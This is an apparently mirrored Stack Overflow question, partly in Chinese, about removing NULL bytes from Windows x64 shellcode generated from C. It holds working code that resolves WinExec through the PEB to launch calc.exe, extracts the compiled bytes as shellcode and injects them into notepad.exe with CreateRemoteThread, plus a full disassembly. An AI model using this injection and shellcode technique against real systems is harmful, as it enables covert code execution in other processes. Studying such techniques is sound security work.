如何从 C 生成的 shellcode 中删除 NULL 字节?

How to remove NULL bytes from C generated shellcode?

提问人:vengy 提问时间:1/15/2023 最后编辑:Sep Rolandvengy 更新时间:1/15/2023 访问量:293

问:

为了好玩,我正在尝试使用 Windows MSVC x86-64 重写此 NASM Windows/x64 - 动态无空 WinExec PopCalc Shellcode(205 字节),如下所示:

// Windows x86-64 - Dynamic WinExec Calc.exe Shellcode 479 bytes.

#include <Windows.h>
#include <Winternl.h>
#include <stdio.h>
#include <tchar.h>
#include <psapi.h>

// KERNEL32.DLL
#define NREK 0x004e00520045004b

// GetProcAddress
#define AcorPteG 0x41636f7250746547

// In assembly language, the ret instruction is short for "return."
// It is used to transfer control back to the calling function, typically at the end of a subroutine.
#define RET_INSTRUCTION 0xC3


void shell_code_start()
{
    // Get the current process' PEB address
    _PEB* peb = (_PEB*)__readgsqword(0x60);

    // Get the address of the loaded module list
    PLIST_ENTRY moduleList = &peb->Ldr->InMemoryOrderModuleList;

    // Loop through the loaded modules
    for (PLIST_ENTRY currentModule = moduleList->Flink; currentModule != moduleList; currentModule = currentModule->Flink)
    {      
        if (*(unsigned long long*)(((LDR_DATA_TABLE_ENTRY*)currentModule)->FullDllName.Buffer) == NREK)
        {
            // Get the LDR_DATA_TABLE_ENTRY for the current module
            PLDR_DATA_TABLE_ENTRY pLdrEntry = CONTAINING_RECORD(currentModule, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
            // Get the base address of kernel32.dll
            HMODULE kernel32 = (HMODULE)pLdrEntry->DllBase;
            // Get the DOS header of kernel32.dll
            PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)kernel32;
            // Get the NT headers of kernel32.dll
            PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)((BYTE*)pDosHeader + pDosHeader->e_lfanew);
            // Get the export directory of kernel32.dll
            PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)kernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
            // Get the array of function addresses of kernel32.dll
            DWORD* pAddressOfFunctions = (DWORD*)((BYTE*)kernel32 + pExportDirectory->AddressOfFunctions);
            // Get the array of name addresses of kernel32.dll
            DWORD* pAddressOfNames = (DWORD*)((BYTE*)kernel32 + pExportDirectory->AddressOfNames);
            // Get the array of ordinal numbers of kernel32.dll
            WORD* pAddressOfNameOrdinals = (WORD*)((BYTE*)kernel32 + pExportDirectory->AddressOfNameOrdinals);

            // Loop through the names
            for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++)
            {
                if (*(unsigned long long*)((BYTE*)kernel32 + pAddressOfNames[i]) == AcorPteG)
                {
                    // Compare the name of the current function to "GetProcAddress"
                    // If it matches, get the address of the function by using the ordinal number
                    FARPROC getProcAddress = (FARPROC)((BYTE*)kernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
                    // Use GetProcAddress to find the address of WinExec
                    char winexec[] = { 'W','i','n','E','x','e','c',0 };
                    FARPROC winExec = ((FARPROC(WINAPI*)(HINSTANCE, LPCSTR))(getProcAddress))(kernel32, winexec);
                    // Use WinExec to launch calc.exe
                    char calc[] = { 'c','a','l','c','.','e','x','e',0 };
                    ((FARPROC(WINAPI*)(LPCSTR, UINT))(winExec))(calc, SW_SHOW);

                    break;
                }
            }

            break;
        }
    }
}


void print_shellcode(unsigned char* shellcode, int length)
{
    printf("unsigned char shellcode[%d] = \n", length);
    int i;
    for (i = 0; i < length; i++)
    {
        if (i % 16 == 0)
        {
            printf("\"");
        }
        if (shellcode[i] == 0x00)
        {
            printf("\x1B[31m\\x%02x\033[0m", shellcode[i]);
        }
        else
        {
            printf("\\x%02x", shellcode[i]);
        }
        if ((i + 1) % 16 == 0)
        {
            printf("\"\n");
        }
    }
    printf("\";\n");
}


DWORD GetNotepadPID()
{
    DWORD dwPID = 0;
    DWORD dwSize = 0;
    DWORD dwProcesses[1024], cbNeeded;
    if (EnumProcesses(dwProcesses, sizeof(dwProcesses), &cbNeeded))
    {
        for (DWORD i = 0; i < cbNeeded / sizeof(DWORD); i++)
        {
            if (dwProcesses[i] != 0)
            {
                HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcesses[i]);
                if (hProcess)
                {
                    TCHAR szProcessName[MAX_PATH] = _T("<unknown>");
                    if (GetProcessImageFileName(hProcess, szProcessName, sizeof(szProcessName) / sizeof(TCHAR)))
                    {
                        _tcslwr(szProcessName);
                        if (_tcsstr(szProcessName, _T("notepad.exe")) != 0)
                        {
                            dwPID = dwProcesses[i];
                            break;
                        }
                    }
                    CloseHandle(hProcess);
                }
            }
        }
    }
    return dwPID;
}


void InjectShellcodeIntoNotepad(unsigned char* shellcode, int length)
{
    // Get the handle of the notepad.exe process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetNotepadPID());

    // Allocate memory for the shellcode in the notepad.exe process
    LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Write the shellcode to the allocated memory in the notepad.exe process
    WriteProcessMemory(hProcess, shellcodeAddr, shellcode, length, NULL);

    // Create a remote thread in the notepad.exe process to execute the shellcode
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, NULL, 0, NULL);

    // Wait for the remote thread to complete
    WaitForSingleObject(hThread, INFINITE);

    // Clean up
    VirtualFreeEx(hProcess, shellcodeAddr, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
}


int main(int argc, char* argv[])
{
    unsigned int rel32 = 0;
    // E9 is the Intel 64 opcode for a jmp instruction with a rel32 offset.
    // The next four bytes contain the 32-bit offset.
    char jmp_rel32[] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };

    // Calculate the relative offset of the jump instruction
    rel32 = *(DWORD*)((char*)shell_code_start + 1);

    // Get the actual starting address of the shellcode, by adding the relative offset to the address of the jump instruction
    unsigned char *shell_code_start_real = (unsigned char *)shell_code_start + rel32 + sizeof(jmp_rel32);
    
    // Get the actual end address of the shellcode by scanning the code looking for the ret instruction...
    unsigned char *shell_code_end_real = shell_code_start_real;
    while (*shell_code_end_real++ != RET_INSTRUCTION) {};
    unsigned int sizeofshellcode = shell_code_end_real - shell_code_start_real;

    // Copy the shellcode to the allocated memory and execute it...
    LPVOID shellcode_mem = VirtualAlloc(NULL, sizeofshellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(shellcode_mem, shell_code_start_real, sizeofshellcode);
    DWORD old_protect;
    VirtualProtect(shellcode_mem, sizeofshellcode, PAGE_EXECUTE_READ, &old_protect);
    void (*jump_to_shellcode)() = (void (*)())shellcode_mem;
    jump_to_shellcode();

    // Release the memory allocated for the shellcode
    VirtualFree(shellcode_mem, sizeofshellcode, MEM_RELEASE);   

    // Print the shellcode in hex format
    print_shellcode(shell_code_start_real, sizeofshellcode);

    // Inject shellcode into the notepad.exe process
    InjectShellcodeIntoNotepad(shell_code_start_real, sizeofshellcode);

    return 0;
}

一切正常运行并弹出 Windows 计算器。

calc

但是,shellcode 通常需要以 NULL 结尾的字符串中传递。如果 shellcode 包含 NULL 字节,则被利用的 C 代码可能会忽略并删除从第一个零字节开始的其余代码。

请注意,我的 shellcode 有少量红色的 NULL 字节!

更新

根据有关修改汇编代码的评论,绝对可以调整 shellcode 以删除大多数 NULL 字节:

0000000000400000 40 55                push        rbp 
0000000000400002 48 81 EC F0 00 00 00 sub         rsp,0F0h  
0000000000400009 48 8D 6C 24 20       lea         rbp,[rsp+20h]  
000000000040000E 65 48 8B 04 25 60 00 00 00 mov         rax,qword ptr gs:[60h]  
0000000000400017 48 89 45 00          mov         qword ptr [rbp],rax  
000000000040001B 48 8B 45 00          mov         rax,qword ptr [rbp]  
000000000040001F 48 8B 40 18          mov         rax,qword ptr [rax+18h]  
0000000000400023 48 83 C0 20          add         rax,20h  
0000000000400027 48 89 45 08          mov         qword ptr [rbp+8],rax  
000000000040002B 48 8B 45 08          mov         rax,qword ptr [rbp+8]  
000000000040002F 48 8B 00             mov         rax,qword ptr [rax]  
0000000000400032 48 89 45 10          mov         qword ptr [rbp+10h],rax  
0000000000400036 EB 0B                jmp         0000000000400043  
0000000000400038 48 8B 45 10          mov         rax,qword ptr [rbp+10h]  
000000000040003C 48 8B 00             mov         rax,qword ptr [rax]  
000000000040003F 48 89 45 10          mov         qword ptr [rbp+10h],rax  
0000000000400043 48 8B 45 08          mov         rax,qword ptr [rbp+8]  
0000000000400047 48 39 45 10          cmp         qword ptr [rbp+10h],rax  
000000000040004B 0F 84 85 01 00 00    je          00000000004001D6  
0000000000400051 48 8B 45 10          mov         rax,qword ptr [rbp+10h]  
0000000000400055 48 8B 40 50          mov         rax,qword ptr [rax+50h]  
0000000000400059 48 B9 4B 00 45 00 52 00 4E 00 mov         rcx,4E00520045004Bh  
0000000000400063 48 39 08             cmp         qword ptr [rax],rcx  
0000000000400066 0F 85 65 01 00 00    jne         00000000004001D1  
000000000040006C 48 8B 45 10          mov         rax,qword ptr [rbp+10h]  
0000000000400070 48 83 E8 10          sub         rax,10h  
0000000000400074 48 89 45 18          mov         qword ptr [rbp+18h],rax  
0000000000400078 48 8B 45 18          mov         rax,qword ptr [rbp+18h]  
000000000040007C 48 8B 40 30          mov         rax,qword ptr [rax+30h]  
0000000000400080 48 89 45 20          mov         qword ptr [rbp+20h],rax  
0000000000400084 48 8B 45 20          mov         rax,qword ptr [rbp+20h]  
0000000000400088 48 89 45 28          mov         qword ptr [rbp+28h],rax  
000000000040008C 48 8B 45 28          mov         rax,qword ptr [rbp+28h]  
0000000000400090 48 63 40 3C          movsxd      rax,dword ptr [rax+3Ch]  
0000000000400094 48 8B 4D 28          mov         rcx,qword ptr [rbp+28h]  
0000000000400098 48 03 C8             add         rcx,rax  
000000000040009B 48 8B C1             mov         rax,rcx  
000000000040009E 48 89 45 30          mov         qword ptr [rbp+30h],rax  
00000000004000A2 B8 08 00 00 00       mov         eax,8  
00000000004000A7 48 6B C0 00          imul        rax,rax,0  
00000000004000AB 48 8B 4D 30          mov         rcx,qword ptr [rbp+30h]  
00000000004000AF 8B 84 01 88 00 00 00 mov         eax,dword ptr [rcx+rax+88h]  
00000000004000B6 48 8B 4D 20          mov         rcx,qword ptr [rbp+20h]  
00000000004000BA 48 03 C8             add         rcx,rax  
00000000004000BD 48 8B C1             mov         rax,rcx  
00000000004000C0 48 89 45 38          mov         qword ptr [rbp+38h],rax  
00000000004000C4 48 8B 45 38          mov         rax,qword ptr [rbp+38h]  
00000000004000C8 8B 40 1C             mov         eax,dword ptr [rax+1Ch]  
00000000004000CB 48 8B 4D 20          mov         rcx,qword ptr [rbp+20h]  
00000000004000CF 48 03 C8             add         rcx,rax  
00000000004000D2 48 8B C1             mov         rax,rcx  
00000000004000D5 48 89 45 40          mov         qword ptr [rbp+40h],rax  
00000000004000D9 48 8B 45 38          mov         rax,qword ptr [rbp+38h]  
00000000004000DD 8B 40 20             mov         eax,dword ptr [rax+20h]  
00000000004000E0 48 8B 4D 20          mov         rcx,qword ptr [rbp+20h]  
00000000004000E4 48 03 C8             add         rcx,rax  
00000000004000E7 48 8B C1             mov         rax,rcx  
00000000004000EA 48 89 45 48          mov         qword ptr [rbp+48h],rax  
00000000004000EE 48 8B 45 38          mov         rax,qword ptr [rbp+38h]  
00000000004000F2 8B 40 24             mov         eax,dword ptr [rax+24h]  
00000000004000F5 48 8B 4D 20          mov         rcx,qword ptr [rbp+20h]  
00000000004000F9 48 03 C8             add         rcx,rax  
00000000004000FC 48 8B C1             mov         rax,rcx  
00000000004000FF 48 89 45 50          mov         qword ptr [rbp+50h],rax  
0000000000400103 C7 45 58 00 00 00 00 mov         dword ptr [rbp+58h],0  
000000000040010A EB 08                jmp         0000000000400114  
000000000040010C 8B 45 58             mov         eax,dword ptr [rbp+58h]  
000000000040010F FF C0                inc         eax  
0000000000400111 89 45 58             mov         dword ptr [rbp+58h],eax  
0000000000400114 48 8B 45 38          mov         rax,qword ptr [rbp+38h]  
0000000000400118 8B 40 18             mov         eax,dword ptr [rax+18h]  
000000000040011B 39 45 58             cmp         dword ptr [rbp+58h],eax  
000000000040011E 0F 83 AB 00 00 00    jae         00000000004001CF  
0000000000400124 8B 45 58             mov         eax,dword ptr [rbp+58h]  
0000000000400127 48 8B 4D 48          mov         rcx,qword ptr [rbp+48h]  
000000000040012B 8B 04 81             mov         eax,dword ptr [rcx+rax*4]  
000000000040012E 48 8B 4D 20          mov         rcx,qword ptr [rbp+20h]  
0000000000400132 48 BA 47 65 74 50 72 6F 63 41 mov         rdx,41636F7250746547h  
000000000040013C 48 39 14 01          cmp         qword ptr [rcx+rax],rdx  
0000000000400140 0F 85 84 00 00 00    jne         00000000004001CA  
0000000000400146 8B 45 58             mov         eax,dword ptr [rbp+58h]  
0000000000400149 48 8B 4D 50          mov         rcx,qword ptr [rbp+50h]  
000000000040014D 0F B7 04 41          movzx       eax,word ptr [rcx+rax*2]  
0000000000400151 48 8B 4D 40          mov         rcx,qword ptr [rbp+40h]  
0000000000400155 8B 04 81             mov         eax,dword ptr [rcx+rax*4]  
0000000000400158 48 8B 4D 20          mov         rcx,qword ptr [rbp+20h]  
000000000040015C 48 03 C8             add         rcx,rax  
000000000040015F 48 8B C1             mov         rax,rcx  
0000000000400162 48 89 45 60          mov         qword ptr [rbp+60h],rax  
0000000000400166 C6 45 68 57          mov         byte ptr [rbp+68h],57h  
000000000040016A C6 45 69 69          mov         byte ptr [rbp+69h],69h  
000000000040016E C6 45 6A 6E          mov         byte ptr [rbp+6Ah],6Eh  
0000000000400172 C6 45 6B 45          mov         byte ptr [rbp+6Bh],45h  
0000000000400176 C6 45 6C 78          mov         byte ptr [rbp+6Ch],78h  
000000000040017A C6 45 6D 65          mov         byte ptr [rbp+6Dh],65h  
000000000040017E C6 45 6E 63          mov         byte ptr [rbp+6Eh],63h  
0000000000400182 C6 45 6F 00          mov         byte ptr [rbp+6Fh],0  
0000000000400186 48 8D 55 68          lea         rdx,[rbp+68h]  
000000000040018A 48 8B 4D 20          mov         rcx,qword ptr [rbp+20h]  
000000000040018E FF 55 60             call        qword ptr [rbp+60h]  
0000000000400191 48 89 45 70          mov         qword ptr [rbp+70h],rax  
0000000000400195 C6 45 78 63          mov         byte ptr [rbp+78h],63h  
0000000000400199 C6 45 79 61          mov         byte ptr [rbp+79h],61h  
000000000040019D C6 45 7A 6C          mov         byte ptr [rbp+7Ah],6Ch  
00000000004001A1 C6 45 7B 63          mov         byte ptr [rbp+7Bh],63h  
00000000004001A5 C6 45 7C 2E          mov         byte ptr [rbp+7Ch],2Eh  
00000000004001A9 C6 45 7D 65          mov         byte ptr [rbp+7Dh],65h  
00000000004001AD C6 45 7E 78          mov         byte ptr [rbp+7Eh],78h  
00000000004001B1 C6 45 7F 65          mov         byte ptr [rbp+7Fh],65h  
00000000004001B5 C6 85 80 00 00 00 00 mov         byte ptr [rbp+80h],0  
00000000004001BC BA 05 00 00 00       mov         edx,5  
00000000004001C1 48 8D 4D 78          lea         rcx,[rbp+78h]  
00000000004001C5 FF 55 70             call        qword ptr [rbp+70h]  
00000000004001C8 EB 05                jmp         00000000004001CF  
00000000004001CA E9 3D FF FF FF       jmp         000000000040010C  
00000000004001CF EB 05                jmp         00000000004001D6  
00000000004001D1 E9 62 FE FF FF       jmp         0000000000400038  
00000000004001D6 48 8D A5 D0 00 00 00 lea         rsp,[rbp+0D0h]  
00000000004001DD 5D                   pop         rbp  
00000000004001DE C3                   ret  

虽然我不确定如何处理以 NULL 结尾的字符串,例如生成 4 个 NULL 字节的“calc.exe”:

0000000000400195 C6 45 78 63          mov         byte ptr [rbp+78h],63h  
0000000000400199 C6 45 79 61          mov         byte ptr [rbp+79h],61h  
000000000040019D C6 45 7A 6C          mov         byte ptr [rbp+7Ah],6Ch  
00000000004001A1 C6 45 7B 63          mov         byte ptr [rbp+7Bh],63h  
00000000004001A5 C6 45 7C 2E          mov         byte ptr [rbp+7Ch],2Eh  
00000000004001A9 C6 45 7D 65          mov         byte ptr [rbp+7Dh],65h  
00000000004001AD C6 45 7E 78          mov         byte ptr [rbp+7Eh],78h  
00000000004001B1 C6 45 7F 65          mov         byte ptr [rbp+7Fh],65h  
00000000004001B5 C6 85 80 00 00 00 00 mov         byte ptr [rbp+80h],0 

问题

是否可以通过重新排列 C 代码或使用编译器内部技巧来删除 NULL 字节?

C 程序集 null x86-64 shellcode

评论

4赞 hobbs 1/15/2023
只需将 MSVC 替换为 ABC,即可摆脱所有这些讨厌的 null 值,以及所有其他不可打印的字符。
4赞 Peter Cordes 1/15/2023
让编译器生成程序集,而不是机器代码,以便您可以找到将汇编为包含字节的指令的替换项和解决方法。例如 /而不是。由于代码大小的原因,像这样的编译器已经这样做了,因此需要手动调整 asm 输出的实例可能会更少。否则,不,主流编译器没有选项来做一些事情,比如避免输出机器代码中的字节。它们通常还面向与 shellcode 截然不同的运行时环境。00push 123pop rcxmov ecx, 123clang -Oz00
0赞 vengy 1/15/2023
例如,前三个 null 字节来自序言代码。我尝试使用,但在 64 位中不受支持。我将进一步检查空字节,看看它们是否可以解析。总的来说,我想使用纯 C,而不求助于一点点摆弄低级汇编指令。:)48 81 EC F0 00 00 00 sub rsp,0F0h__declspec(naked)
3赞 Peter Cordes 1/15/2023
如果你坚持纯 C,那么你需要一个专门的 C 编译器。例如,霍布斯提到的 tom7.org/abc,它编译为“可打印的 x86 机器代码”,即仅使用可打印的 ASCII 字节。编译器本身显然也是一个 ,也是一篇关于它的论文。IDK 您希望如何使用普通编译的 C 在 shellcode 中完成任何有用的事情;我想也许在 Windows 中您可以调用一些已知的绝对地址,而不是使用 ?.exe.txtsyscall

答: 暂无答案